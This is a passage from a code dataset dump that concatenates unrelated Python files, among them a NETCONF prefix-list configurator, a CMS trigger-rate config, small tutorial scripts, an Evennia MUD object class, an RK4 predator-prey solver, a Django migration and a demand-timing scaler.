list\n\n Since this function is decorated, the im_func.func_name will get\n overwritten, so unlike the non decorated function, using self._func,\n which is being assigned within the decorator, in the debug statements\n \"\"\"\n\n self.debug(\"in function %s\", self._func)\n arglen = len(args)\n if arglen <= 0:\n self.error(\"%s: invalid command line arguments\", self._func)\n\n self.debug(\"%s: number of arguments %d\", self._func, arglen)\n self.debug(\"%s: name %s\", self._func, args[0])\n\n ip = self.ipvalidate(args[1])\n self.debug(\"%s: ip address %s\", self._func, str(ip))\n\n options = {}\n if arglen > 3:\n # If the number of arguments is greater than 3, then there\n # are other command line arguments that are passed apart\n # from the action, which must be the last item in the list\n # so pass the arguments to cli2dict function, which converts\n # the list to dictionary and can be used appropriately later\n # for now only logical-system is recognized.\n options = self.cli2dict(args[2:(arglen - 1)])\n\n item = xmlcreate(\"prefix-list-item\", { \"name\" : ip })\n\n # The action here is added as an attribute\n if args[-1] in (\"create\", \"enable\", \"up\", \"add\", \"noshut\", \"en\", \"+\",\n \"noshutdown\"):\n item.attrib[\"operation\"] = \"create\"\n self.debug(\"%s: action %s\", self._func, args[-1])\n else:\n item.attrib[\"operation\"] = \"delete\"\n self.debug(\"%s: action %s\", self._func, args[-1])\n\n if \"logical-system\" in options:\n # If there is logical system in the argument, including it\n # here, converted from list to dictionary by cli2dict\n # function\n self.debug(\"%s: logical system %s\", self._func,\n options[\"logical-system\"])\n self._xmlList.append((\"logical-systems\",\n { \"name\" : options[\"logical-system\"] }, \"policy-options\",\n \"prefix-list\", { \"name\" : args[0] }, item))\n else:\n self._xmlList.append((\"policy-options\", \"prefix-list\",\n { \"name\" : args[0] }, item))\n\n self.debug(\"function %s complete\", self._func)\n\n def __call__(self, *args):\n \"\"\"\n @brief: __call__ function never returns, on failure raises NetConfError\n @param args list of keywords and key value pairs\n @return never returns, errors out on failure\n\n Supported commands for now are\n interfaces\n policy-action\n\n The dispatch function is called at the end, if it class is called in\n batch mode, i.e. only does one operation at a time, instead of\n multiple operation\n\n Not much debug functions used here because, it calls helper functions\n as appropriate or errors out\n \"\"\"\n arglen = len(args)\n if arglen:\n cmd = args[0]\n if cmd in (\"interfaces\", \"interface\", \"int\", \"if\", \"i\"):\n # interface configuration cannot ever have less than 3\n # arguments\n if arglen < 3:\n self.error(\"invalid command line arguments for %s\", cmd)\n\n self.log(\"configuring interfaces\")\n self.interfaces(*args[1:])\n elif cmd in (\"policy-action\", \"policy\", \"pol\"):\n # There might be a day where policy-statement can be\n # used, but for now, only prefix-list is supported and\n # it has to have at least 5 arguments (refer comments\n # under prefixlist for the structure)\n if args[1] in (\"prefix-list\", \"prefix\", \"pfx\", \"pfl\"):\n if arglen < 5:\n self.error(\"invalid command line arguments for %s\",\n cmd)\n\n self.log(\"configuring prefixlist\")\n # Removing args[1], since it is unnecessary from\n # this point onwards in the logic/script\n self.prefixlist(*args[2:])\n else:\n self.error(\"unknown command %s\", cmd)\n else:\n self.error(\"invalid command line arguments\")\n\n if self._batch:\n self.dispatch()\n","sub_path":"core/lib/ncconf.py","file_name":"ncconf.py","file_ext":"py","file_size_in_byte":9302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"274702180","text":"#runevents = 1000\nrunevents = -1;\n\nimport FWCore.ParameterSet.Config as cms\nprocess = cms.Process('L1analysis')\n\nprocess.load(\"L1TriggerConfig.L1ScalesProducers.L1MuTriggerScalesConfig_cff\")\nprocess.load(\"L1TriggerConfig.L1ScalesProducers.L1MuTriggerPtScaleConfig_cff\")\nprocess.load(\"L1TriggerConfig.L1ScalesProducers.L1MuGMTScalesConfig_cff\")\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 10000\n\n# Input source\nprocess.source = cms.Source(\"PoolSource\",\n secondaryFileNames = cms.untracked.vstring(),\n fileNames = cms.untracked.vstring(\"file:out_L1.root\")\n)\n#out_L1muon2023GE21.root\nfileOutputName = \"Neutrino_SLHC25_PU140_0706\"\n#input: L1 sample\nfrom GEMCode.SimMuL1.GEMCSCTriggerSamplesLib import *\nfrom GEMCode.GEMValidation.InputFileHelpers import *\nInputDir = ['/eos/uscms/store/user/tahuang/SLHC25_patch1_2023Neutrino_100k_L1_PU140/tahuang/SLHC25_patch1_2023Neutrino_gen_sim_100k/SLHC25_patch1_2023Neutrino_100k_L1_PU140/1bf93df4dfbb43dc918bd6e47dedbf79/']\n#InputDir = ['/eos/uscms/store/user/tahuang/SLHC25_patch1_2023Muon_1M_L1_PU140_Pt2_50/tahuang/SLHC23_patch1_2023Muon_gen_sim_Pt2_50_1M/SLHC25_patch1_2023Muon_1M_L1_PU140_Pt2_50/1bf93df4dfbb43dc918bd6e47dedbf79/']\nprocess = useInputDir(process, InputDir, True)\n\nhistofileName= \"Rate_\"+fileOutputName+\".root\"\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(runevents)\n)\n\n#print \"fileNames: \", process.source.fileNames\nprocess.options = cms.untracked.PSet()\n\n# Production Info\nprocess.configurationMetadata = cms.untracked.PSet(\n version = cms.untracked.string('$Revision: 1.20 $'),\n annotation = cms.untracked.string('SingleMuPt100_cfi nevts:100'),\n name = cms.untracked.string('Applications')\n)\n\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string(\n histofileName\n))\n\nprocess.L1TTriggerRate = cms.EDAnalyzer('L1MuonTTriggerRate',\n minPt = cms.double(2.0),\n maxPt = cms.double(100.0),\n minEta = cms.double(1.6),\n maxEta = cms.double(2.4),\n )\nprocess.pL1TAnalyser = cms.Path(process.L1TTriggerRate)\n \nprocess.schedule = cms.Schedule(process.pL1TAnalyser)\n","sub_path":"GEMValidation/test/runL1triggerRate.py","file_name":"runL1triggerRate.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"27686882","text":"#!/usr/bin/env python\n\n# -*- *************** -*-\n# @File : while_test.py\n# @Description : while 循环\n# @Author: mql\n# @Time : 2019/12/26 15:37\n# -*- *************** -*-\n\n\n# 循环的初始化条件\ncount_i = 0\n# 当 count_i 小于 10 时, 执行循环体\nwhile count_i < 10 :\n print(\"count:\", count_i)\n # 迭代语句\n count_i += 1\nprint(\"循环结束!\")\n\n# 注意缩进的使用\n\n","sub_path":"04/4.4/while_test.py","file_name":"while_test.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"594353675","text":"from bidict import bidict\n\nCOLOR = bidict(\n Z=1,\n Y=2,\n X=3,\n W=4,\n V=5,\n U=6,\n T=7,\n S=8,\n R=9,\n Q=10,\n P=11,\n O=12,\n N=13,\n M=14,\n L=15,\n K=16,\n J=17,\n I=18,\n H=19,\n G=20,\n F=21,\n E=22,\n D=23,\n)\nSHAPE = bidict(\n ROUND=1,\n PRINCESS=2,\n EMERALD=3,\n ASSCHER=4,\n CUSHION=5,\n RADIANT=6,\n PEAR=7,\n OVAL=8,\n MARQUISE=9,\n HEART=10,\n KITE=11,\n TRAPEZOID=12,\n TAPER=13,\n EUROPEAN_CUT=14,\n BRIOLETTE=15,\n SHIELD=16,\n OLD_MINER=17,\n CUSHION_MODIFIED=18,\n TRILLIANT=19,\n HALF_MOON=20,\n TRIANGLE=21,\n FLOWER=22,\n OCTAGON=23,\n HEXAGONAL=24,\n LOZENGE=25,\n)\nCUT = bidict(\n POOR=1,\n FAIR=2,\n GOOD=3,\n VERY_GOOD=4,\n EXCELLENT=5,\n IDEAL=6,\n)\nCLARITY = bidict(\n I3=1,\n I2=2,\n I1=3,\n SI2=4,\n SI1=5,\n VS2=6,\n VS1=7,\n VVS2=8,\n VVS1=9,\n IF=10,\n FL=11,\n)\nLAB = bidict(\n GIA=1,\n AGS=2,\n IGI=3,\n HRD=4,\n EGL_USA=5,\n ARGYLE=6,\n HOFER=7,\n)\n\n","sub_path":"backend/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"571825897","text":"import random\nnumber_guess = random.randint(1,10)\ntimes_tried = 0\nprevious_guess = 0\n\n\nwhile True:\n user_guess = int(input('Guess a number between 1 and 10, you will have 10 tries: > '))\n previous_closer = abs(previous_guess-number_guess)\n if number_guess == user_guess:\n print('You Won The Game!!')\n break\n \n elif times_tried == 0:\n times_tried += 1\n print(f'You Have Tried {times_tried} Times')\n\n continue\n else:\n previous_guess = user_guess \n times_tried += 1\n print(f'You Have Tried {times_tried} Times')\n if (abs(user_guess-number_guess)) >= previous_closer:\n print('You Were Closer The Previous Time You Played')\n else:\n print('You were Closer This Time Than Last time')\n \n continue\n ","sub_path":"code/chad/python/lab_12/guess_numberv4.py","file_name":"guess_numberv4.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"524739348","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nTemplate for Objects\n\nCopy this module up one level and name it as you like, then\nuse it as a template to create your own Objects.\n\nTo make the default commands default to creating objects of your new\ntype (and also change the \"fallback\" object used when typeclass\ncreation fails), change settings.BASE_OBJECT_TYPECLASS to point to\nyour new class, e.g.\n\nsettings.BASE_OBJECT_TYPECLASS = \"game.gamesrc.objects.myobj.MyObj\"\n\nNote that objects already created in the database will not notice\nthis change, you have to convert them manually e.g. with the\n@typeclass command.\n\n\"\"\"\nimport random\nimport ev\nimport time\n\nfrom ev import Object as DefaultObject\nfrom ev import utils\n\nfrom game.gamesrc.utils.delay import delay\n\n#from game.gamesrc.commands.cmdset import MinimumCommands\n\nclass Object(DefaultObject):\n\n #------------------- Looking -------------------#\n def return_appearance(self, pobject):\n \"\"\"\n This is a convenient hook for a 'look'\n command to call.\n \"\"\"\n from game.gamesrc.objects.character import Character\n from game.gamesrc.objects.exit import Exit\n from game.gamesrc.objects.room import Room\n from game.gamesrc.utils.get_map import get_map\n \n # Only for exits:\n if self.destination:\n string = \"\\nYou peek \" + self.key + \", and see...\"\n string += self.destination.return_appearance(pobject)\n return string\n \n if not pobject:\n return\n \n # Name\n string = \"%s\" % (self.name_upper)\n \n # Name suffix for open/close and container\n if not isinstance(self, Character):\n if self.can_open:\n if self.is_open:\n if self.is_container:\n string += \" (open)\" # (open container)\n else:\n string += \" (open)\"\n else:\n if self.is_container:\n string += \" (closed)\" # (closed container)\n else:\n string += \" (closed)\"\n elif self.is_container:\n string += \" (container)\"\n \n \n \n # Description\n desc = self.db.desc\n if desc:\n if isinstance(self, Room):\n string += \"\\n\"\n string += \"\\n%s\" % desc\n \n \n \n # Room\n if isinstance(self, Room):\n # Draw mini-map.\n string += \"\\n\\n\" + get_map(pobject, 10, 5)\n \n # For debugging pathfinding\n #from game.gamesrc.utils.get_path import get_path\n #string += \"\\n\\n\" + \", \".join(get_path(self, ev.search_object(\"#78\")[0]))\n \n # Get and identify all visible containing objects\n visible_contents = (con for con in self.contents if con != pobject and\n con.access(pobject, \"view\"))\n exits, characters, objects = [], [], []\n \n for obj in visible_contents:\n if isinstance(obj, Exit):\n # Add exit direction and name of destination room\n exit_desc = obj.name_upper + \" {x-{n \" + obj.destination.key[0].upper() + obj.destination.key[1:]\n \n # Description for open/close\n if obj.can_open:\n if obj.is_open:\n exit_desc += \" (open)\"\n else:\n exit_desc += \" (closed)\"\n\n if not obj.can_open or (obj.can_open and obj.is_open):\n # Append all characters in the destination room\n chars_in_exit = []\n for content in obj.destination.contents:\n if isinstance(content, Character):\n chars_in_exit.append(content.name)\n if len(chars_in_exit) > 0:\n exit_desc += \" {x({n\" + \", \".join(sorted(chars_in_exit)) + \"{x){n\"\n \n exits.append(exit_desc)\n elif isinstance(obj, Character):\n characters.append(obj.name)\n else:\n objects.append(obj.name)\n #things.append(\"%cy\" + key[0].upper() + key[1:] + \"{n\")\n \n # Draw exits\n if exits:\n #string += \"\\n\\n{wExits: {n\" + \", \".join(sorted(exits))\n #string += \"\\n\\n{wExits:\\n {n\" + \"\\n \".join(sorted(exits))\n string += \"\\n\\n{n\" + \"\\n\".join(sorted(exits))\n \n # Draw objects/characters\n if characters or objects:\n string += \"\\n\\n\" + \", \".join(sorted(characters) + sorted(objects))\n \n # Normal objects\n elif not isinstance(self, Character):\n # Description for open/close\n if self.can_open:\n if not self.is_open:\n string += \"\\n\\nIt's closed.\"\n \n # Append contents\n if self.is_container and self.is_open:\n contents = []\n for obj in self.contents:\n contents.append(obj.name)\n \n if contents:\n string += \"\\n\\nIt contains {w%g{n of {w%g kg{n:\\n\" % (self.contents_weight, self.max_contents_weight)\n string += self.return_contents() #\"\\n \".join(sorted(contents))\n else:\n string += \"\\n\\nIt's empty. It can fit {w%g kg{n.\" % self.max_contents_weight\n\n # Draw weight\n if self.own_weight > 0:\n if self.is_container:\n string += \"\\n\\nTotal weight: {w%g kg{n\" % self.total_weight\n else:\n string += \"\\n\\nWeight: {w%g kg{n\" % self.total_weight\n\n \n return string\n \n # Returns a formatted table of all contents in this object\n def return_contents(self):\n from src.utils import utils, prettytable\n \n table = prettytable.PrettyTable([\"name\", \"desc\", \"weight\"])\n table.header = False\n table.border = False\n for item in self.contents:\n name = \"{C%s{n\" % item.name\n if item.can_open:\n if item.is_open:\n name += \" {w(open){n\"\n else:\n name += \" {w(closed){n\"\n table.add_row([name, item.db.desc, \"{w%g kg{n\" % item.total_weight])\n \n return unicode(table)\n\n \n def msg(self, text=None, from_obj=None, sessid=None, **kwargs):\n \"\"\"\n Emits something to any sessions attached to the object.\n\n message (str): The message to send\n from_obj (obj): object that is sending.\n data (object): an optional data object that may or may not\n be used by the protocol.\n sessid: optional session target. If sessid=0, the session will\n default to self.sessid or from_obj.sessid.\n \"\"\"\n if self.has_player:\n #suffix = \"\\n\\n[ HP 100% SP 100% ]\"\n suffix = \"\\n\\n>\"\n #suffix = \"\\n\\n{x>{n\"\n #self.dbobj.msg(text=unicode(text.encode('utf-8'))+suffix, **kwargs)\n self.dbobj.msg(text=text + suffix, **kwargs)\n \n \n #------------------- Scripts -------------------#\n def start_scripts(self):\n self.ndb.script_session = time.time() # Script session is set to current time.\n \n if not self.location:\n return\n \n has_script = False\n \n if self.db.random_message_interval and self.db.random_messages:\n try: # Interval is an int\n delay(self.db.random_message_interval + random.random() * self.db.random_message_interval, self.repeated_message, self.ndb.script_session)\n except TypeError: # Interval is a list of min and max range\n delay(self.db.random_message_interval[0] + random.random() * self.db.random_message_interval[1] + random.random() * self.db.random_message_interval[0], self.repeated_message, self.ndb.script_session)\n has_script = True\n \n if self.db.random_movement_interval:\n try: # Interval is an int\n delay(self.db.random_movement_interval + random.random() * self.db.random_movement_interval, self.repeated_move, self.ndb.script_session)\n except TypeError: # Interval is a list of min and max range\n delay(self.db.random_movement_interval[0] + random.random() * self.db.random_movement_interval[1] + random.random() * self.db.random_movement_interval[0], self.repeated_move, self.ndb.script_session)\n has_script = True\n \n self.db._has_script = has_script\n \n def stop_scripts(self):\n self.ndb.script_session = None # Script session set to None so that all future scripts will be stopped.\n \n def repeated_move(self, script_session):\n if self.ndb.script_session != script_session:\n return # Script session is no longer valid. Abort script.\n \n self.move_in_random_direction()\n \n # Repeat\n if self.db.random_movement_interval:\n try: # Interval is an int\n delay(self.db.random_movement_interval, self.repeated_move, self.ndb.script_session)\n except TypeError: # Interval is a list of min and max range\n delay(self.db.random_movement_interval[0] + random.random() * self.db.random_movement_interval[1], self.repeated_move, self.ndb.script_session)\n\n def repeated_message(self, script_session):\n if self.ndb.script_session != script_session:\n return # Script session is no longer valid. Abort script.\n \n self.show_random_message(self.db.random_messages)\n \n # Repeat\n if self.db.random_message_interval and self.db.random_message_interval:\n try: # Interval is an int\n delay(self.db.random_message_interval, self.repeated_message, self.ndb.script_session)\n except TypeError: # Interval is a list of min and max range\n delay(self.db.random_message_interval[0] + random.random() * self.db.random_message_interval[1], self.repeated_message, self.ndb.script_session)\n\n # Move in random direction\n def move_in_random_direction(self): \n if not self.location:\n return\n \n from game.gamesrc.objects.exit import Exit\n\n all_exits = []\n valid_exits = []\n \n # Required tags can be either a tag name or a list of tag names.\n required_tags = self.db.random_movement_constraint if not isinstance(self.db.random_movement_constraint, basestring) else [self.db.random_movement_constraint]\n \n for obj in self.location.exits:\n if obj.is_open:\n all_exits.append(obj)\n \n # Add to valid exits if we have no required tags, of if destination room has at least one of these tags.\n if not required_tags or any(tag in obj.destination.tags.all() for tag in required_tags):\n valid_exits.append(obj)\n \n # If there are no valid exits, we choose from all exits.\n if len(valid_exits) == 0:\n valid_exits = all_exits\n \n if len(valid_exits) > 0:\n # Pick random room from valid exits and move to it.\n rand = int(random.random() * len(valid_exits))\n self.move_to(valid_exits[rand].destination)\n return\n \n\n # Return a random message\n def show_random_message(self, messages):\n if len(messages) == 0:\n return\n \n chance_per_message = 1.0/len(messages)\n \n i = 0\n for msg in messages:\n i += 1\n if random.random() <= i*chance_per_message:\n # $random_character is replaced with random character in room, excluding caller, if one is available.\n if msg.find('$random_character') != -1:\n from game.gamesrc.objects.character import Character\n chars = []\n for obj in self.location.contents:\n if isinstance(obj, Character) and obj != self:\n chars.append(obj)\n if len(chars) == 0:\n return # If no chars were found, skip message.\n r = int(random.random() * len(chars))\n random_char = chars[r]\n msg = msg.replace(\"$random_character\", random_char.name);\n \n # Prefix string with \"/\" to execute command instead of displaying message.\n if msg[0] == \"/\":\n self.execute_cmd(msg[1:])\n else:\n if self.location:\n self.location.msg_contents(msg)\n else:\n self.msg_contents(msg)\n return\n\n \n \n #------------------- Hooks -------------------#\n def at_sayto(self, caller, msg):\n if self.db.speech:\n for keyword, answer in self.db.speech.iteritems():\n if msg.lower().find(keyword.lower()) != -1:\n return delay(1, self.execute_cmd, 'sayto %s = %s' % (caller.key, answer))\n \n \n def at_after_move(self, source_location):\n if not self.db._explored_rooms:\n self.db._explored_rooms = []\n \n if not self.location.db.xyz in self.db._explored_rooms:\n self.db._explored_rooms.append(self.location.db.xyz)\n\n if self.has_player:\n self.execute_cmd('look') # Look around\n \n # Todo: Look through objects in room. If enemy, take action.\n # Todo: Send hook command to at_object_arrival() to all other objects in room.\n \n def at_object_arrival(self, obj):\n # Todo: If enemy, take action.\n pass\n \n #------------------- Movement -------------------#\n #def travel_to(target_room, interval):\n # Travel to using pathfinding. Wait seconds between each movement.\n # self.db._travel_to_room = target_room\n # self.db._travel_to_interval = interval\n \n \n def find_exit_between_rooms(self, room1, room2):\n from game.gamesrc.objects.exit import Exit\n \n if not self.location:\n return None\n \n for obj in room1.exits:\n if obj.destination == room2:\n return obj\n return None\n\n def announce_move_from(self, destination):\n \"\"\"\n Called if the move is to be announced. This is\n called while we are still standing in the old\n location.\n\n destination - the place we are going to.\n \"\"\"\n if not self.location:\n return\n\n exit = self.find_exit_between_rooms(self.location, destination)\n if not exit:\n return\n \n string = \"%s leaves %s.\" % (self.name_upper, exit.name)\n self.location.msg_contents(string, exclude=self)\n\n def announce_move_to(self, source_location):\n \"\"\"\n Called after the move if the move was not quiet. At this\n point we are standing in the new location.\n\n source_location - the place we came from\n \"\"\"\n\n name = self.name\n if not source_location and self.location.has_player:\n # This was created from nowhere and added to a player's\n # inventory; it's probably the result of a create command.\n string = \"You now have %s in your possession.\" % name\n self.location.msg(string)\n return\n\n if not self.location:\n self.location.msg_contents(\"%s arrives.\" % self.name_upper, exclude=self)\n return\n \n exit = self.find_exit_between_rooms(self.location, source_location)\n if not exit:\n self.location.msg_contents(\"%s arrives.\" % self.name_upper, exclude=self)\n return\n \n if exit.key == 'up' or exit.key == 'down':\n string = \"%s arrives from %s.\" % (self.name_upper, exit.name)\n else:\n string = \"%s arrives from the %s.\" % (self.name_upper, exit.name)\n self.location.msg_contents(string, exclude=self)\n \n\n \n #------------------- Melee combat -------------------#\n @property\n def reaction_time(self): # In seconds. Should be calculated from agility. Used when responding to actions, e.g. following a fleeing enemy.\n return 1\n \n def attack(self, target):\n if not self.location == target.location:\n return\n \n # If we're still recovering, wait additional time.\n #if self.ndb.recovery_time:\n # utils.delay(self.ndb.recovery_time, target, self.attack)\n # return False\n\n # Set current target\n if self.ndb.current_target != target:\n self.ndb.current_target = target\n \n # Make attack\n self.msg('You swing your fist at %s.' % (target.name))\n target.msg('%s swings %s fist at you.' % (self.name_upper, self.his))\n self.ndb.recovery_time = 10\n \n # Let enemy react\n utils.delay(target.reaction_time, self, target.at_is_attacked)\n \n # Prepare next auto-attack\n utils.delay(self.ndb.recovery_time, target, self.attack)\n return True\n \n # Hook for when object is attacked by another object.\n def at_is_attacked(self, attacker):\n if self.ndb.current_target != attacker:\n self.attack(attacker)\n \n #------------------- Weight -------------------#\n @property\n def max_contents_weight(self):\n if not self.db.max_contents_weight:\n return 0\n else:\n return self.db.max_contents_weight\n\n @property\n def max_pickup_weight(self):\n # TODO: Change to strength based\n return self.max_contents_weight\n\n @property\n def own_weight(self):\n if not self.db.weight:\n return 0\n else:\n return self.db.weight\n \n @property\n def contents_weight(self):\n weight = 0\n for obj in self.contents:\n weight += obj.total_weight\n return weight\n\n @property\n def total_weight(self):\n return self.own_weight + self.contents_weight\n \n @property\n def is_container(self):\n if self.max_contents_weight > 0:\n return True\n else:\n return False\n\n #------------------- Open/Close -------------------#\n @property\n def can_open(self):\n if self.tags.get(\"can_open\"):\n return True\n else:\n return False\n\n @property\n def is_open(self):\n if not self.can_open:\n return True\n \n return self.db.is_open\n \n def open(self, caller=None):\n from game.gamesrc.objects.exit import Exit\n self.db.is_open = True\n \n if isinstance(self, Exit):\n self.locks.add(\"traverse:all()\")\n \n # Open oppsite exit\n opposite_exit = self.get_opposite_exit()\n if not opposite_exit.is_open:\n opposite_exit.open()\n \n def close(self, caller=None):\n from game.gamesrc.objects.exit import Exit\n self.db.is_open = False\n \n if isinstance(self, Exit):\n self.locks.add(\"traverse:none()\")\n \n # Open oppsite exit\n opposite_exit = self.get_opposite_exit()\n if opposite_exit.is_open:\n opposite_exit.close()\n\n #------------------- Tags - hooks -------------------#\n def on_add_tag(self, tag):\n from game.gamesrc.objects.exit import Exit\n if tag == \"can_open\" and isinstance(self, Exit):\n opposite_exit = self.get_opposite_exit()\n if not opposite_exit.can_open:\n opposite_exit.tags.add(\"can_open\")\n \n def on_remove_tag(self, tag):\n from game.gamesrc.objects.exit import Exit\n if tag == \"can_open\" and isinstance(self, Exit):\n self.open()\n opposite_exit = self.get_opposite_exit()\n if opposite_exit.can_open:\n opposite_exit.tags.remove(\"can_open\")\n\n #------------------- Name -------------------#\n @property\n def name(self):\n return \"{x\" + self.key + \"{n\"\n\n @property\n def name_upper(self):\n return \"{x\" + self.key[0].upper() + self.key[1:] + \"{n\"\n\n \n #------------------- Gender grammatics -------------------#\n @property\n def he(self):\n if self.db.gender == 'male':\n return 'he'\n elif self.db.gender == 'female':\n return 'she'\n else:\n return 'it'\n \n @property\n def his(self):\n if self.db.gender == 'male':\n return 'his'\n elif self.db.gender == 'female':\n return 'her'\n else:\n return 'its'\n \n @property\n def him(self):\n if self.db.gender == 'male':\n return 'him'\n elif self.db.gender == 'female':\n return 'her'\n else:\n return 'it'\n\n @property\n def himself(self):\n if self.db.gender == 'male':\n return 'himself'\n elif self.db.gender == 'female':\n return 'herself'\n else:\n return 'itself'","sub_path":"game/gamesrc/objects/object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":21613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"405937782","text":"from pylab import plot,show,legend,figure\nfrom numpy import arange,array,sin\n\n\ndef f(r,t):\n '''This function returns a vector of the simultaneous\n multivariable equations the arguments are a vector, r,\n and t the independent variable'''\n #parse the vector to obtain x and y values\n x,y = r\n #set up intial conditions\n alpha = 1\n beta, gamma = 0.5,0.5\n sigma = 2\n #calculate values from respective functions\n fx = x*(alpha - beta*y)\n fy = (gamma*x - sigma)*y\n #return the results as a vector \n return array([fx,fy],float)\n\ndef RK4(a,b,N):\n #set up initial conditions\n h = abs(a - b)/N\n xsoln = []\n ysoln = []\n time = arange(a,b,h,float) \n r = array([2.0,2.0],float)\n for t in time:\n #parse vector to obtain x and y values and append to respective lists\n x,y = r\n xsoln.append(x)\n ysoln.append(y)\n #do Runge Kutta calculation on the vector r\n k1 = h*f(r,t)\n k2 = h*f(r + 0.5*k1,t + 0.5*h)\n k3 = h*f(r + 0.5*k2,t + 0.5*h)\n k4 = h*f(r + k3,t + h)\n r += (k1 + 2*(k2+k3) + k4)/6\n return time,xsoln,ysoln\n\nN = 1000\na = 0.0\nb = 30.0\ntime, xsoln, ysoln = RK4(a,b,N)\n#plot results\nfigure(1)\nplot(time,xsoln)\nplot(time,ysoln)\nfigure(2)\nplot(xsoln,ysoln)\nshow()\n","sub_path":"Chapter8/Ex8_2.py","file_name":"Ex8_2.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"181110118","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('common', '0015_auto_20170213_0746'),\n ('flatpages', '0002_auto_20150625_0442'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='flatpage',\n name='clients',\n field=models.ManyToManyField(blank=True, to='common.Client', verbose_name='Клиенты на карте', null=True),\n ),\n ]\n","sub_path":"flatpages/migrations/0003_flatpage_clients.py","file_name":"0003_flatpage_clients.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"55221840","text":"#BBN_LICENSE_START -- DO NOT MODIFY BETWEEN LICENSE_{START,END} Lines\n# Copyright (c) <2017,2018,2019,2020,2021>, \n# To be applied to the DCOMP/MAP Public Source Code Release dated 2018-04-19, with\n# the exception of the dcop implementation identified below (see notes).\n# \n# Dispersed Computing (DCOMP)\n# Mission-oriented Adaptive Placement of Task and Data (MAP) \n# \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# \n# Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#BBN_LICENSE_END\n#!/usr/bin/env python3\n\nimport warnings\n\nwith warnings.catch_warnings():\n import re\n import sys\n import argparse\n import os\n import os.path\n import logging\n import logging.config\n import json\n from pathlib import Path\n\nscript_dir = os.path.abspath(os.path.dirname(__file__))\n\n\ndef get_logger():\n return logging.getLogger(__name__)\n\n\ndef setup_logging(\n default_path='logging.json',\n default_level=logging.INFO,\n env_key='LOG_CFG'\n):\n \"\"\"\n Setup logging configuration\n \"\"\"\n path = default_path\n value = os.getenv(env_key, None)\n if value:\n path = value\n if os.path.exists(path):\n with open(path, 'r') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\n else:\n logging.basicConfig(level=default_level)\n\n\ndef main(argv=None):\n if argv is None:\n argv = sys.argv[1:]\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--logconfig\", dest=\"logconfig\", help=\"logging configuration (default: logging.json)\",\n default='logging.json')\n parser.add_argument(\"-i\", \"--input\", dest=\"input\", help=\"Input demand directory (Required)\",\n required=True)\n parser.add_argument(\"-o\", \"--output\", dest=\"output\", help=\"Output directory (Required)\", required=True)\n parser.add_argument(\"-s\", \"--scale\", dest=\"scale\", help=\"Value to scale all times and durations by (Required)\", required=True, type=float)\n\n args = parser.parse_args(argv)\n\n setup_logging(default_path=args.logconfig)\n\n input_dir = Path(args.input)\n if not input_dir.exists():\n get_logger().error(\"%s does not exist\", input_dir)\n return 1\n\n output_dir = Path(args.output)\n\n scale_factor = float(args.scale)\n\n if not output_dir.exists():\n output_dir.mkdir(parents=True)\n\n if input_dir.samefile(output_dir):\n get_logger().error(\"Input and output cannot be the same directory\")\n return 1\n\n for input_file in input_dir.glob('*.json'):\n output_file = output_dir / input_file.name\n\n with open(input_file, 'r') as f:\n input_demand = json.load(f)\n\n for request in input_demand:\n for time_key in ['startTime', 'serverDuration', 'networkDuration']:\n if time_key in request:\n request[time_key] = int(request[time_key] * scale_factor)\n\n with open(output_file, 'w') as f:\n json.dump(input_demand, f, indent=2)\n\nif __name__ == \"__main__\":\n 